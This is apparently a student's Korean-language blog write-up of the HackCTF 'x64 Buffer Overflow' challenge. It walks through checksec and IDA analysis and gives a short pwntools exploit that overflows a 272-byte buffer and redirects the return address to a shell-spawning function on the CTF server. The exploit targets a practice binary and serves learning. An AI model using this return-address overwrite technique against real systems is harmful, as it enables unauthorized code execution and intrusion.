2021 SISS 21기 활동/1학기 시스템
[HackCTF] x64 Buffer Overflow
hyerang0125
2021. 4. 9. 13:54
# checksec을 통해 보호기법 확인하기

-> 확인해본 결과 64bof_basic은 RELRO와 NX가 걸려있다. 따라서 RET 변조를 통해 문제를 해결해야 할 것 같다.
#IDA를 사용하여 64bof_basic 살펴보기

- s의 크기는 0x110(272)byte 라는 것을 알 수 있다.

-> 함수 목록을 살펴보니 "callMeMaybe"라는 함수가 있는 것을 볼 수 있다.

callMeMaybe 함수를 살펴보니 쉘을 실행시키는 함수였다. 이 함수의 주소(0x400606)를 전달해주면 쉘을 실행할 수 있을 것 같다.
#Payload
앞에서 확인한 내용을 바탕으로 아래와 같이 Exploit code를 작성할 수 있다.
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3004)
payload = 'A' * 280 #buffer + SFP + RET
payload += p64(0x400606)
p.sendline(payload)
p.interactive()
# Exploit
해당 Exploit code를 실행하여 flag 획득

성공!
